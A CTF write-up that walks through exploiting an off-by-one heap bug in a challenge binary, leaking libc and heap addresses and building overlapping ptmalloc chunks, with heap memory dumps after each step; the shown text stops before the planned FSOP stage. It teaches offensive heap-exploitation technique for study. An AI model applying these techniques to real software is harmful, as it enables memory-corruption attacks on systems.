Introduction
I think this is a challenge worthy to be the last challenge in my CTF tutorial challenges. In this challenge, the author demonstrates the art of manoeuvring chunks of ptmalloc. Under the strict limitations on the number and size of available chunks, it is still possible to create overlapping chunks in the end. Besides this, the FSOP (File Stream Oriented Programming) used in this challenge makes many dead techniques back to life.
I write my exploit under the instructions in [1]. In this post, I will try to give more details on heap manipulation. More detail on FSOP will be given in my tutorial lectures.
Vulnerability Analysis
The vulnerability exists in the New heap function, where the size of each allocated heap is 0xa8.
scanf("%168s", heapList[i]);
In the scanf function, the terminating byte will overwrite the meta data of next chunk when inputting a buffer of size 0xa8 .
In this challenge, we are only allowed to allocate 3 heaps and one ghost. So how to leak the heap address and libc address is not that easy as before.
Exploitation Plan
The exploitation plan is straight to see but hard to achieve.
(1) Leak the base address of libc
(2) Leak the heap address
(3) Create overlapping chunk and trigger unsorted bin attack
(4) Use FSOP to overwrite __malloc_hook and trigger malloc.
Leak base address of libc
Step 1:
Allocate Heap0 and Heap1, then free Heap1. The value of unsorted bin is left in memory. Allocate one ghost and read the leak value.
Heap List: 0x55a7e9caa050: 0x0000000000000000 0x000055a7eadf50c0 0x55a7e9caa060: 0x0000000000000000 0x0000000000000000 Memory Layout: 0x55a7eadf5000: 0x0000000000000000 0x00000000000000b1 0x55a7eadf5010: 0x00007f7749d15b58 0x00007f7749d15b58 0x55a7eadf5020: 0x0000000000000000 0x0000000000000000 0x55a7eadf5030: 0x0000000000000000 0x0000000000000000 0x55a7eadf5040: 0x0000000000000000 0x0000000000000000 0x55a7eadf5050: 0x0000000000000000 0x0000000000000000 0x55a7eadf5060: 0x0000000000000000 0x0000000000000000 0x55a7eadf5070: 0x0000000000000000 0x0000000000000000 0x55a7eadf5080: 0x0000000000000000 0x0000000000000000 0x55a7eadf5090: 0x0000000000000000 0x0000000000000000 0x55a7eadf50a0: 0x0000000000000000 0x0000000000000000 0x55a7eadf50b0: 0x00000000000000b0 0x00000000000000b0 0x55a7eadf50c0: 0x6262626262626262 0x6262626262626262 0x55a7eadf50d0: 0x0000000000000000 0x0000000000000000 0x55a7eadf50e0: 0x0000000000000000 0x0000000000000000 0x55a7eadf50f0: 0x0000000000000000 0x0000000000000000 0x55a7eadf5100: 0x0000000000000000 0x0000000000000000 0x55a7eadf5110: 0x0000000000000000 0x0000000000000000 0x55a7eadf5120: 0x0000000000000000 0x0000000000000000 0x55a7eadf5130: 0x0000000000000000 0x0000000000000000 0x55a7eadf5140: 0x0000000000000000 0x0000000000000000 0x55a7eadf5150: 0x0000000000000000 0x0000000000000000 0x55a7eadf5160: 0x0000000000000000 0x0000000000020ea1
Leak the value of heap
Since the size of ghost is 0x60 and ghost can only be allocated once, we cannot expect ghost in fast bin to leak the value of heap. It mean that we need to manage to put the a chunk of size 0x60 in unsorted bin. So this step turns to be how to make a chunk of size 0x60 exist in unsorted bin. The answer is to split a large chunk and insert the remaining part back into unsorted bin.
Step 1:
Allocate ghost, Allocate Heap0, Heap1, Heap2. Delete ghost, Heap0, Heap2. When deleting Heap0, the deleted ghost chunk will be merged with Heap0 in unsorted bin.
//Heap List: 0x55a7e9caa050: 0x0000000000000000 0x000055a7eadf5120 0x55a7e9caa060: 0x0000000000000000 0x0000000000000000 //Heap Layout: 0x55a7eadf5000: 0x0000000000000000 0x0000000000000111 0x55a7eadf5010: 0x00007f7749d15b58 0x00007f7749d15b58 0x55a7eadf5020: 0x0000000000000000 0x0000000000000000 0x55a7eadf5030: 0x0000000000000000 0x0000000000000000 0x55a7eadf5040: 0x0000000000000000 0x0000000000000000 0x55a7eadf5050: 0x0000000000000000 0x0000000000000001 0x55a7eadf5060: 0x0000000000000000 0x00000000000000b1 0x55a7eadf5070: 0x00007f7749d15b58 0x00007f7749d15b58 0x55a7eadf5080: 0x0000000000000000 0x0000000000000000 0x55a7eadf5090: 0x0000000000000000 0x0000000000000000 0x55a7eadf50a0: 0x0000000000000000 0x0000000000000000 0x55a7eadf50b0: 0x0000000000000050 0x00000000000000b0 0x55a7eadf50c0: 0x6262626262626262 0x6262626262626262 0x55a7eadf50d0: 0x0000000000000000 0x0000000000000000 0x55a7eadf50e0: 0x0000000000000000 0x0000000000000000 0x55a7eadf50f0: 0x0000000000000000 0x0000000000000000 0x55a7eadf5100: 0x0000000000000000 0x0000000000000000 0x55a7eadf5110: 0x0000000000000110 0x00000000000000b0 0x55a7eadf5120: 0x6666666666666666 0x6666666666666666 0x55a7eadf5130: 0x0000000000000000 0x0000000000000000 0x55a7eadf5140: 0x0000000000000000 0x0000000000000000 0x55a7eadf5150: 0x0000000000000000 0x0000000000000000 0x55a7eadf5160: 0x0000000000000000 0x0000000000020ea1 0x55a7eadf5170: 0x0000000000000000 0x0000000000000000 0x55a7eadf5180: 0x0000000000000000 0x0000000000000000 0x55a7eadf5190: 0x0000000000000000 0x0000000000000000 0x55a7eadf51a0: 0x0000000000000000 0x0000000000000000 0x55a7eadf51b0: 0x0000000000000000 0x0000000000000000 0x55a7eadf51c0: 0x0000000000000000 0x0000000000020e41 0x55a7eadf51d0: 0x6767676767676767 0x6767676767676767 //Heap State: 0x7f7749d15b00: 0x0000000100000000 0x0000000000000000 0x7f7749d15b10: 0x0000000000000000 0x0000000000000000 0x7f7749d15b20: 0x0000000000000000 0x0000000000000000 0x7f7749d15b30: 0x0000000000000000 0x0000000000000000 0x7f7749d15b40: 0x0000000000000000 0x0000000000000000 0x7f7749d15b50: 0x0000000000000000 0x000055a7eadf51c0 0x7f7749d15b60: 0x000055a7eadf5060 0x000055a7eadf5000 0x7f7749d15b70: 0x000055a7eadf5000 0x00007f7749d15b68 0x7f7749d15b80: 0x00007f7749d15b68 0x00007f7749d15b78
Step 2:
Allocate Heap0 and Heap2. After splitting the unsorted bin chunk of size 0x110, the remaining part of size 0x60 will be inserted into small bin.
//Heap List: 0x55a7e9caa050: 0x000055a7eadf5010 0x000055a7eadf5120 0x55a7e9caa060: 0x000055a7eadf51d0 0x0000000000000000 //Heap Layout: 0x55a7eadf5000: 0x0000000000000000 0x00000000000000b1 0x55a7eadf5010: 0x00007f7749d10068 0x00007f7749d15c58 0x55a7eadf5020: 0x0000000000000000 0x0000000000000000 0x55a7eadf5030: 0x0000000000000000 0x0000000000000000 0x55a7eadf5040: 0x0000000000000000 0x0000000000000000 0x55a7eadf5050: 0x0000000000000000 0x0000000000000001 0x55a7eadf5060: 0x0000000000000000 0x00000000000000b1 0x55a7eadf5070: 0x00007f7749d15b58 0x00007f7749d15b58 0x55a7eadf5080: 0x0000000000000000 0x0000000000000000 0x55a7eadf5090: 0x0000000000000000 0x0000000000000000 0x55a7eadf50a0: 0x0000000000000000 0x0000000000000000 0x55a7eadf50b0: 0x0000000000000050 0x0000000000000061 0x55a7eadf50c0: 0x00007f7749d15ba8 0x00007f7749d15ba8 0x55a7eadf50d0: 0x0000000000000000 0x0000000000000000 0x55a7eadf50e0: 0x0000000000000000 0x0000000000000000 0x55a7eadf50f0: 0x0000000000000000 0x0000000000000000 0x55a7eadf5100: 0x0000000000000000 0x0000000000000000 0x55a7eadf5110: 0x0000000000000060 0x00000000000000b0 0x55a7eadf5120: 0x6666666666666666 0x6666666666666666 0x55a7eadf5130: 0x0000000000000000 0x0000000000000000 0x55a7eadf5140: 0x0000000000000000 0x0000000000000000 0x55a7eadf5150: 0x0000000000000000 0x0000000000000000 0x55a7eadf5160: 0x0000000000000000 0x0000000000020ea1 0x55a7eadf5170: 0x0000000000000000 0x0000000000000000 0x55a7eadf5180: 0x0000000000000000 0x0000000000000000 0x55a7eadf5190: 0x0000000000000000 0x0000000000000000 0x55a7eadf51a0: 0x0000000000000000 0x0000000000000000 0x55a7eadf51b0: 0x0000000000000000 0x0000000000000000 0x55a7eadf51c0: 0x0000000000000000 0x00000000000000b1 0x55a7eadf51d0: 0x6767676767670069 0x6767676767676767 0x55a7eadf51e0: 0x0000000000000000 0x0000000000000000 0x55a7eadf51f0: 0x0000000000000000 0x0000000000000000 0x55a7eadf5200: 0x0000000000000000 0x0000000000000000 0x55a7eadf5210: 0x0000000000000000 0x0000000000000000 0x55a7eadf5220: 0x0000000000000000 0x0000000000000000 0x55a7eadf5230: 0x0000000000000000 0x0000000000000000 0x55a7eadf5240: 0x0000000000000000 0x0000000000000000 0x55a7eadf5250: 0x0000000000000000 0x0000000000000000 0x55a7eadf5260: 0x0000000000000000 0x0000000000000000 0x55a7eadf5270: 0x0000000000000000 0x0000000000020d91 //Heap State 0x7f7749d15b00: 0x0000000100000000 0x0000000000000000 0x7f7749d15b10: 0x0000000000000000 0x0000000000000000 0x7f7749d15b20: 0x0000000000000000 0x0000000000000000 0x7f7749d15b30: 0x0000000000000000 0x0000000000000000 0x7f7749d15b40: 0x0000000000000000 0x0000000000000000 0x7f7749d15b50: 0x0000000000000000 0x000055a7eadf5270 0x7f7749d15b60: 0x000055a7eadf50b0 0x00007f7749d15b58 0x7f7749d15b70: 0x00007f7749d15b58 0x00007f7749d15b68 0x7f7749d15b80: 0x00007f7749d15b68 0x00007f7749d15b78 0x7f7749d15b90: 0x00007f7749d15b78 0x00007f7749d15b88 0x7f7749d15ba0: 0x00007f7749d15b88 0x00007f7749d15b98 0x7f7749d15bb0: 0x00007f7749d15b98 0x000055a7eadf50b0 0x7f7749d15bc0: 0x000055a7eadf50b0 0x00007f7749d15bb8
Step 3:
Delete Heap1, the deleted chunk will be merged with adjacent previous chunk and the merged chunk will be inserted into unsorted bin.
//Heap List: 0x55a7e9caa050: 0x000055a7eadf5010 0x0000000000000000 0x55a7e9caa060: 0x000055a7eadf51d0 0x0000000000000000 //Heap Layout: 0x55a7eadf5000: 0x0000000000000000 0x00000000000000b1 0x55a7eadf5010: 0x00007f7749d10068 0x00007f7749d15c58 0x55a7eadf5020: 0x0000000000000000 0x0000000000000000 0x55a7eadf5030: 0x0000000000000000 0x0000000000000000 0x55a7eadf5040: 0x0000000000000000 0x0000000000000000 0x55a7eadf5050: 0x0000000000000000 0x0000000000000001 0x55a7eadf5060: 0x0000000000000000 0x00000000000000b1 0x55a7eadf5070: 0x00007f7749d15b58 0x00007f7749d15b58 0x55a7eadf5080: 0x0000000000000000 0x0000000000000000 0x55a7eadf5090: 0x0000000000000000 0x0000000000000000 0x55a7eadf50a0: 0x0000000000000000 0x0000000000000000 0x55a7eadf50b0: 0x0000000000000050 0x0000000000000111 0x55a7eadf50c0: 0x00007f7749d15b58 0x00007f7749d15b58 0x55a7eadf50d0: 0x0000000000000000 0x0000000000000000 0x55a7eadf50e0: 0x0000000000000000 0x0000000000000000 0x55a7eadf50f0: 0x0000000000000000 0x0000000000000000 0x55a7eadf5100: 0x0000000000000000 0x0000000000000000 0x55a7eadf5110: 0x0000000000000060 0x00000000000000b0 0x55a7eadf5120: 0x6666666666666666 0x6666666666666666 0x55a7eadf5130: 0x0000000000000000 0x0000000000000000 0x55a7eadf5140: 0x0000000000000000 0x0000000000000000 0x55a7eadf5150: 0x0000000000000000 0x0000000000000000 0x55a7eadf5160: 0x0000000000000000 0x0000000000020ea1 0x55a7eadf5170: 0x0000000000000000 0x0000000000000000 0x55a7eadf5180: 0x0000000000000000 0x0000000000000000 0x55a7eadf5190: 0x0000000000000000 0x0000000000000000 0x55a7eadf51a0: 0x0000000000000000 0x0000000000000000 0x55a7eadf51b0: 0x0000000000000000 0x0000000000000000 0x55a7eadf51c0: 0x0000000000000110 0x00000000000000b0 0x55a7eadf51d0: 0x6767676767670069 0x6767676767676767 0x55a7eadf51e0: 0x0000000000000000 0x0000000000000000 0x55a7eadf51f0: 0x0000000000000000 0x0000000000000000 0x55a7eadf5200: 0x0000000000000000 0x0000000000000000 0x55a7eadf5210: 0x0000000000000000 0x0000000000000000 0x55a7eadf5220: 0x0000000000000000 0x0000000000000000 0x55a7eadf5230: 0x0000000000000000 0x0000000000000000 0x55a7eadf5240: 0x0000000000000000 0x0000000000000000 0x55a7eadf5250: 0x0000000000000000 0x0000000000000000 0x55a7eadf5260: 0x0000000000000000 0x0000000000000000 0x55a7eadf5270: 0x0000000000000000 0x0000000000020d91 //Heap State: 0x7f7749d15b00: 0x0000000100000000 0x0000000000000000 0x7f7749d15b10: 0x0000000000000000 0x0000000000000000 0x7f7749d15b20: 0x0000000000000000 0x0000000000000000 0x7f7749d15b30: 0x0000000000000000 0x0000000000000000 0x7f7749d15b40: 0x0000000000000000 0x0000000000000000 0x7f7749d15b50: 0x0000000000000000 0x000055a7eadf5270 0x7f7749d15b60: 0x000055a7eadf50b0 0x000055a7eadf50b0 0x7f7749d15b70: 0x000055a7eadf50b0 0x00007f7749d15b68 0x7f7749d15b80: 0x00007f7749d15b68 0x00007f7749d15b78 0x7f7749d15b90: 0x00007f7749d15b78 0x00007f7749d15b88
Step 4:
Allocate Heap1, delete Heap0. After this step, we can see that now there are two linked chunks in unsorted bin. One is of size 0xb0. The second one is of size 0x60, whose BK pointer is pointing to the first. So next step to allocate a ghost and read the value.
//Heap List: 0x55a7e9caa050: 0x0000000000000000 0x000055a7eadf50c0 0x55a7e9caa060: 0x000055a7eadf51d0 0x0000000000000000 //Heap Layout: 0x55a7eadf5000: 0x0000000000000000 0x00000000000000b1 0x55a7eadf5010: 0x000055a7eadf5160 0x00007f7749d15b58 0x55a7eadf5020: 0x0000000000000000 0x0000000000000000 0x55a7eadf5030: 0x0000000000000000 0x0000000000000000 0x55a7eadf5040: 0x0000000000000000 0x0000000000000000 0x55a7eadf5050: 0x0000000000000000 0x0000000000000001 0x55a7eadf5060: 0x0000000000000000 0x00000000000000b1 0x55a7eadf5070: 0x00007f7749d15b58 0x00007f7749d15b58 0x55a7eadf5080: 0x0000000000000000 0x0000000000000000 0x55a7eadf5090: 0x0000000000000000 0x0000000000000000 0x55a7eadf50a0: 0x0000000000000000 0x0000000000000000 0x55a7eadf50b0: 0x00000000000000b0 0x00000000000000b0 0x55a7eadf50c0: 0x00007f7749d1006a 0x00007f7749d15b58 0x55a7eadf50d0: 0x0000000000000000 0x0000000000000000 0x55a7eadf50e0: 0x0000000000000000 0x0000000000000000 0x55a7eadf50f0: 0x0000000000000000 0x0000000000000000 0x55a7eadf5100: 0x0000000000000000 0x0000000000000000 0x55a7eadf5110: 0x0000000000000060 0x00000000000000b0 0x55a7eadf5120: 0x6666666666666666 0x6666666666666666 0x55a7eadf5130: 0x0000000000000000 0x0000000000000000 0x55a7eadf5140: 0x0000000000000000 0x0000000000000000 0x55a7eadf5150: 0x0000000000000000 0x0000000000000000 0x55a7eadf5160: 0x0000000000000000 0x0000000000000061 0x55a7eadf5170: 0x00007f7749d15b58 0x000055a7eadf5000 0x55a7eadf5180: 0x0000000000000000 0x0000000000000000 0x55a7eadf5190: 0x0000000000000000 0x0000000000000000 0x55a7eadf51a0: 0x0000000000000000 0x0000000000000000 0x55a7eadf51b0: 0x0000000000000000 0x0000000000000000 0x55a7eadf51c0: 0x0000000000000060 0x00000000000000b0 0x55a7eadf51d0: 0x6767676767670069 0x6767676767676767 0x55a7eadf51e0: 0x0000000000000000 0x0000000000000000 0x55a7eadf51f0: 0x0000000000000000 0x0000000000000000 0x55a7eadf5200: 0x0000000000000000 0x0000000000000000 0x55a7eadf5210: 0x0000000000000000 0x0000000000000000 0x55a7eadf5220: 0x0000000000000000 0x0000000000000000 0x55a7eadf5230: 0x0000000000000000 0x0000000000000000 0x55a7eadf5240: 0x0000000000000000 0x0000000000000000 0x55a7eadf5250: 0x0000000000000000 0x0000000000000000 0x55a7eadf5260: 0x0000000000000000 0x0000000000000000 0x55a7eadf5270: 0x0000000000000000 0x0000000000020d91 //Heap State: 0x7f7749d15b00: 0x0000000100000000 0x0000000000000000 0x7f7749d15b10: 0x0000000000000000 0x0000000000000000 0x7f7749d15b20: 0x0000000000000000 0x0000000000000000 0x7f7749d15b30: 0x0000000000000000 0x0000000000000000 0x7f7749d15b40: 0x0000000000000000 0x0000000000000000 0x7f7749d15b50: 0x0000000000000000 0x000055a7eadf5270 0x7f7749d15b60: 0x000055a7eadf5160 0x000055a7eadf5000 0x7f7749d15b70: 0x000055a7eadf5160 0x00007f7749d15b68 0x7f7749d15b80: 0x00007f7749d15b68 0x00007f7749d15b78
Chunk Overlapping
To create a overlapping chunk, we need to clean the heap state first. So free the ghost and heap in an descending order.
To get overlapping in the end, let’s think over what we have at present. As analysed earlier, there is only one off-by-one vulnerability, which can only set one-byte value to zero. So our first step is to shrink the chunk size. To avoid getting a 0 size chunk, we have to merge a chunk with a ghost first and then trigger the vulnerability.
Step 1:
Allocate Heap0, ghost, Heap1, Heap2. Then delete Heap0, ghost and heap2. After this step, a chunk of size 0x110 will be inserted into unsorted bin.
//Heap List: 0x55a7e9caa050: 0x0000000000000000 0x000055a7eadf5120 0x55a7e9caa060: 0x0000000000000000 0x0000000000000000 //Heap Layout: 0x55a7eadf5010: 0x00007f7749d15b58 0x00007f7749d15b58 0x55a7eadf5020: 0x0000000000000000 0x0000000000000000 0x55a7eadf5030: 0x0000000000000000 0x0000000000000000 0x55a7eadf5040: 0x0000000000000000 0x0000000000000000 0x55a7eadf5050: 0x0000000000000000 0x0000000000000001 0x55a7eadf5060: 0x0000000000000000 0x00000000000000b1 0x55a7eadf5070: 0x00007f7749d15b58 0x00007f7749d15b58 0x55a7eadf5080: 0x0000000000000000 0x0000000000000000 0x55a7eadf5090: 0x0000000000000000 0x0000000000000000 0x55a7eadf50a0: 0x0000000000000000 0x0000000000000000 0x55a7eadf50b0: 0x00000000000000b0 0x0000000000000060 0x55a7eadf50c0: 0x0000000000000000 0x00007f7749d15b58 0x55a7eadf50d0: 0x0000000000000000 0x0000000000000000 0x55a7eadf50e0: 0x0000000000000000 0x0000000000000000 0x55a7eadf50f0: 0x0000000000000000 0x0000000000000000 0x55a7eadf5100: 0x0000000000000000 0x0000000000000001 0x55a7eadf5110: 0x0000000000000110 0x00000000000000b0 0x55a7eadf5120: 0x666666666666006c 0x6666666666666666 0x55a7eadf5130: 0x0000000000000000 0x0000000000000000 0x55a7eadf5140: 0x0000000000000000 0x0000000000000000 0x55a7eadf5150: 0x0000000000000000 0x0000000000000000 0x55a7eadf5160: 0x0000000000000160 0x0000000000000060 0x55a7eadf5170: 0x0000000000000000 0x000055a7eadf506b 0x55a7eadf5180: 0x0000000000000000 0x0000000000000000 0x55a7eadf5190: 0x0000000000000000 0x0000000000000000 0x55a7eadf51a0: 0x0000000000000000 0x0000000000000000 0x55a7eadf51b0: 0x0000000000000000 0x0000000000000001 0x55a7eadf51c0: 0x0000000000000060 0x0000000000020e41 0x55a7eadf51d0: 0x676767676767006d 0x6767676767676767 0x55a7eadf51e0: 0x0000000000000000 0x0000000000000000 0x55a7eadf51f0: 0x0000000000000000 0x0000000000000000 0x55a7eadf5200: 0x0000000000000000 0x0000000000000000 0x55a7eadf5210: 0x0000000000000000 0x0000000000000000 0x55a7eadf5220: 0x0000000000000000 0x0000000000000000 0x55a7eadf5230: 0x0000000000000000 0x0000000000000000 0x55a7eadf5240: 0x0000000000000000 0x0000000000000000 0x55a7eadf5250: 0x0000000000000000 0x0000000000000000 0x55a7eadf5260: 0x0000000000000000 0x0000000000000000 0x55a7eadf5270: 0x0000000000000000 0x0000000000020d91 //Heap State: 0x7f7749d15b00: 0x0000000100000000 0x0000000000000000 0x7f7749d15b10: 0x0000000000000000 0x0000000000000000 0x7f7749d15b20: 0x0000000000000000 0x0000000000000000 0x7f7749d15b30: 0x0000000000000000 0x0000000000000000 0x7f7749d15b40: 0x0000000000000000 0x0000000000000000 0x7f7749d15b50: 0x0000000000000000 0x000055a7eadf51c0 0x7f7749d15b60: 0x000055a7eadf5160 0x000055a7eadf5000 0x7f7749d15b70: 0x000055a7eadf5000 0x00007f7749d15b68 0x7f7749d15b80: 0x00007f7749d15b68 0x00007f7749d15b78
Step 2:
Allocate Heap0, Heap2. Then delete Heap0, Heap1. After this step, a chunk of 0x1c0 will be inserted into unsorted bin.
//Heap List: 0x55a7e9caa050: 0x0000000000000000 0x0000000000000000 0x55a7e9caa060: 0x000055a7eadf51d0 0x0000000000000000 //Heap Layout: 0x55a7eadf5000: 0x0000000000000000 0x00000000000001c1 0x55a7eadf5010: 0x00007f7749d15b58 0x00007f7749d15b58 0x55a7eadf5020: 0x0000000000000000 0x0000000000000000 0x55a7eadf5030: 0x0000000000000000 0x0000000000000000 0x55a7eadf5040: 0x0000000000000000 0x0000000000000000 0x55a7eadf5050: 0x0000000000000000 0x0000000000000001 0x55a7eadf5060: 0x0000000000000000 0x00000000000000b1 0x55a7eadf5070: 0x00007f7749d15b58 0x00007f7749d15b58 0x55a7eadf5080: 0x0000000000000000 0x0000000000000000 0x55a7eadf5090: 0x0000000000000000 0x0000000000000000 0x55a7eadf50a0: 0x0000000000000000 0x0000000000000000 0x55a7eadf50b0: 0x00000000000000b0 0x0000000000000061 0x55a7eadf50c0: 0x00007f7749d15ba8 0x00007f7749d15ba8 0x55a7eadf50d0: 0x0000000000000000 0x0000000000000000 0x55a7eadf50e0: 0x0000000000000000 0x0000000000000000 0x55a7eadf50f0: 0x0000000000000000 0x0000000000000000 0x55a7eadf5100: 0x0000000000000000 0x0000000000000001 0x55a7eadf5110: 0x0000000000000110 0x00000000000000b0 0x55a7eadf5120: 0x666666666666006c 0x6666666666666666 0x55a7eadf5130: 0x0000000000000000 0x0000000000000000 0x55a7eadf5140: 0x0000000000000000 0x0000000000000000 0x55a7eadf5150: 0x0000000000000000 0x0000000000000000 0x55a7eadf5160: 0x0000000000000160 0x0000000000000060 0x55a7eadf5170: 0x0000000000000000 0x000055a7eadf506b 0x55a7eadf5180: 0x0000000000000000 0x0000000000000000 0x55a7eadf5190: 0x0000000000000000 0x0000000000000000 0x55a7eadf51a0: 0x0000000000000000 0x0000000000000000 0x55a7eadf51b0: 0x0000000000000000 0x0000000000000001 0x55a7eadf51c0: 0x00000000000001c0 0x00000000000000b0 0x55a7eadf51d0: 0x676767676767006f 0x6767676767676767 0x55a7eadf51e0: 0x0000000000000000 0x0000000000000000 0x55a7eadf51f0: 0x0000000000000000 0x0000000000000000 0x55a7eadf5200: 0x0000000000000000 0x0000000000000000 0x55a7eadf5210: 0x0000000000000000 0x0000000000000000 0x55a7eadf5220: 0x0000000000000000 0x0000000000000000 0x55a7eadf5230: 0x0000000000000000 0x0000000000000000 0x55a7eadf5240: 0x0000000000000000 0x0000000000000000 0x55a7eadf5250: 0x0000000000000000 0x0000000000000000 0x55a7eadf5260: 0x0000000000000000 0x0000000000000000 0x55a7eadf5270: 0x0000000000000000 0x0000000000020d91 //Heap State: 0x7f7749d15b00: 0x0000000100000000 0x0000000000000000 0x7f7749d15b10: 0x0000000000000000 0x0000000000000000 0x7f7749d15b20: 0x0000000000000000 0x0000000000000000 0x7f7749d15b30: 0x0000000000000000 0x0000000000000000 0x7f7749d15b40: 0x0000000000000000 0x0000000000000000 0x7f7749d15b50: 0x0000000000000000 0x000055a7eadf5270 0x7f7749d15b60: 0x000055a7eadf50b0 0x000055a7eadf5000 0x7f7749d15b70: 0x000055a7eadf5000 0x00007f7749d15b68
Step 3:
Allocate a heap and write 168-bytes data to trigger the vulnerability
//Heap List: 0x55a7e9caa050: 0x000055a7eadf5010 0x0000000000000000 0x55a7e9caa060: 0x000055a7eadf51d0 0x0000000000000000 //Heap Layout: 0x55a7eadf5000: 0x0000000000000000 0x00000000000000b1 0x55a7eadf5010: 0x7070707070707070 0x7070707070707070 0x55a7eadf5020: 0x7070707070707070 0x7070707070707070 0x55a7eadf5030: 0x7070707070707070 0x7070707070707070 0x55a7eadf5040: 0x7070707070707070 0x7070707070707070 0x55a7eadf5050: 0x7070707070707070 0x7070707070707070 0x55a7eadf5060: 0x7070707070707070 0x7070707070707070 0x55a7eadf5070: 0x7070707070707070 0x7070707070707070 0x55a7eadf5080: 0x7070707070707070 0x7070707070707070 0x55a7eadf5090: 0x7070707070707070 0x7070707070707070 0x55a7eadf50a0: 0x7070707070707070 0x7070707070707070 0x55a7eadf50b0: 0x7070707070707070 0x0000000000000100<= size 0x110 was overwritten with 0x100 0x55a7eadf50c0: 0x00007f7749d15b58 0x00007f7749d15b58 0x55a7eadf50d0: 0x0000000000000000 0x0000000000000000 0x55a7eadf50e0: 0x0000000000000000 0x0000000000000000 0x55a7eadf50f0: 0x0000000000000000 0x0000000000000000 0x55a7eadf5100: 0x0000000000000000 0x0000000000000001 0x55a7eadf5110: 0x0000000000000110 0x00000000000000b0 0x55a7eadf5120: 0x666666666666006c 0x6666666666666666 0x55a7eadf5130: 0x0000000000000000 0x0000000000000000 0x55a7eadf5140: 0x0000000000000000 0x0000000000000000 0x55a7eadf5150: 0x0000000000000000 0x0000000000000000 0x55a7eadf5160: 0x0000000000000160 0x0000000000000060 0x55a7eadf5170: 0x0000000000000000 0x000055a7eadf506b 0x55a7eadf5180: 0x0000000000000000 0x0000000000000000 0x55a7eadf5190: 0x0000000000000000 0x0000000000000000 0x55a7eadf51a0: 0x0000000000000000 0x0000000000000000 0x55a7eadf51b0: 0x0000000000000000 0x0000000000000001 0x55a7eadf51c0: 0x0000000000000110 0x00000000000000b0 0x55a7eadf51d0: 0x676767676767006f 0x6767676767676767 0x55a7eadf51e0: 0x0000000000000000 0x0000000000000000 0x55a7eadf51f0: 0x0000000000000000 0x0000000000000000 0x55a7eadf5200: 0x0000000000000000 0x0000000000000000 0x55a7eadf5210: 0x0000000000000000 0x0000000000000000 0x55a7eadf5220: 0x0000000000000000 0x0000000000000000 0x55a7eadf5230: 0x0000000000000000 0x0000000000000000 0x55a7eadf5240: 0x0000000000000000 0x0000000000000000 0x55a7eadf5250: 0x0000000000000000 0x0000000000000000 0x55a7eadf5260: 0x0000000000000000 0x0000000000000000 0x55a7eadf5270: 0x0000000000000000 0x0000000000020d91 //Heap State: 0x7f7749d15b00: 0x0000000100000000 0x0000000000000000 0x7f7749d15b10: 0x0000000000000000 0x0000000000000000 0x7f7749d15b20: 0x0000000000000000 0x0000000000000000 0x7f7749d15b30: 0x0000000000000000 0x0000000000000000 0x7f7749d15b40: 0x0000000000000000 0x0000000000000000 0x7f7749d15b50: 0x0000000000000000 0x000055a7eadf5270 0x7f7749d15b60: 0x000055a7eadf50b0 0x000055a7eadf50b0 0x7f7749d15b70: 0x000055a7eadf50b0 0x00007f7749d15b68
Step 4:
Allocate Heap1, delete Heap1, Heap0, allocate a ghost. Use ghost to craft a fake chunk at 0x55a7eadf5000.
//Heap List: 0x55a7e9caa050: 0x0000000000000000 0x0000000000000000 0x55a7e9caa060: 0x000055a7eadf51d0 0x000055a7eadf5010 //Heap layout: 0x55a7eadf5000: 0x0000000000000000 0x0000000000000061 0x55a7eadf5010: 0x000055a7eadf50b0 0x000055a7eadf50b0 0x55a7eadf5020: 0x7070707070707070 0x7070707070707070 0x55a7eadf5030: 0x7070707070707070 0x7070707070707070 0x55a7eadf5040: 0x7070707070707070 0x7070707070707070 0x55a7eadf5050: 0x7070707070707070 0x0000000000000001 0x55a7eadf5060: 0x7070707070707070 0x0000000000000101 0x55a7eadf5070: 0x00007f7749d15b58 0x00007f7749d15b58 0x55a7eadf5080: 0x7070707070707070 0x7070707070707070 0x55a7eadf5090: 0x7070707070707070 0x7070707070707070 0x55a7eadf50a0: 0x7070707070707070 0x7070707070707070 0x55a7eadf50b0: 0x7070707070707070 0x00000000000000b1 0x55a7eadf50c0: 0x000055a7eadf5160 0x00007f7749d15b58 0x55a7eadf50d0: 0x0000000000000000 0x0000000000000000 0x55a7eadf50e0: 0x0000000000000000 0x0000000000000000 0x55a7eadf50f0: 0x0000000000000000 0x0000000000000000 0x55a7eadf5100: 0x0000000000000000 0x0000000000000001 0x55a7eadf5110: 0x0000000000000110 0x00000000000000b0 0x55a7eadf5120: 0x666666666666006c 0x6666666666666666 0x55a7eadf5130: 0x0000000000000000 0x0000000000000000 0x55a7eadf5140: 0x0000000000000000 0x0000000000000000 0x55a7eadf5150: 0x0000000000000000 0x0000000000000000 0x55a7eadf5160: 0x0000000000000100 0x0000000000000050 0x55a7eadf5170: 0x00007f7749d15b98 0x00007f7749d15b98 0x55a7eadf5180: 0x0000000000000000 0x0000000000000000 0x55a7eadf5190: 0x0000000000000000 0x0000000000000000 0x55a7eadf51a0: 0x0000000000000000 0x0000000000000000 0x55a7eadf51b0: 0x0000000000000050 0x0000000000000001<=HOLE!!! 0x55a7eadf51c0: 0x0000000000000110 0x00000000000000b0 0x55a7eadf51d0: 0x676767676767006f 0x6767676767676767 0x55a7eadf51e0: 0x0000000000000000 0x0000000000000000 0x55a7eadf51f0: 0x0000000000000000 0x0000000000000000 0x55a7eadf5200: 0x0000000000000000 0x0000000000000000 0x55a7eadf5210: 0x0000000000000000 0x0000000000000000 0x55a7eadf5220: 0x0000000000000000 0x0000000000000000 0x55a7eadf5230: 0x0000000000000000 0x0000000000000000 0x55a7eadf5240: 0x0000000000000000 0x0000000000000000 0x55a7eadf5250: 0x0000000000000000 0x0000000000000000 0x55a7eadf5260: 0x0000000000000000 0x0000000000000000 0x55a7eadf5270: 0x0000000000000000 0x0000000000020d91 //Heap State: 0x7f7749d15b00: 0x0000000100000000 0x0000000000000000 0x7f7749d15b10: 0x0000000000000000 0x0000000000000000 0x7f7749d15b20: 0x0000000000000000 0x0000000000000000 0x7f7749d15b30: 0x0000000000000000 0x0000000000000000 0x7f7749d15b40: 0x0000000000000000 0x0000000000000000 0x7f7749d15b50: 0x0000000000000000 0x000055a7eadf5270 0x7f7749d15b60: 0x000055a7eadf5060 0x000055a7eadf5060 0x7f7749d15b70: 0x000055a7eadf5060 0x00007f7749d15b68 0x7f7749d15b80: 0x00007f7749d15b68 0x00007f7749d15b78 0x7f7749d15b90: 0x00007f7749d15b78 0x00007f7749d15b88 0x7f7749d15ba0: 0x00007f7749d15b88 0x000055a7eadf5160 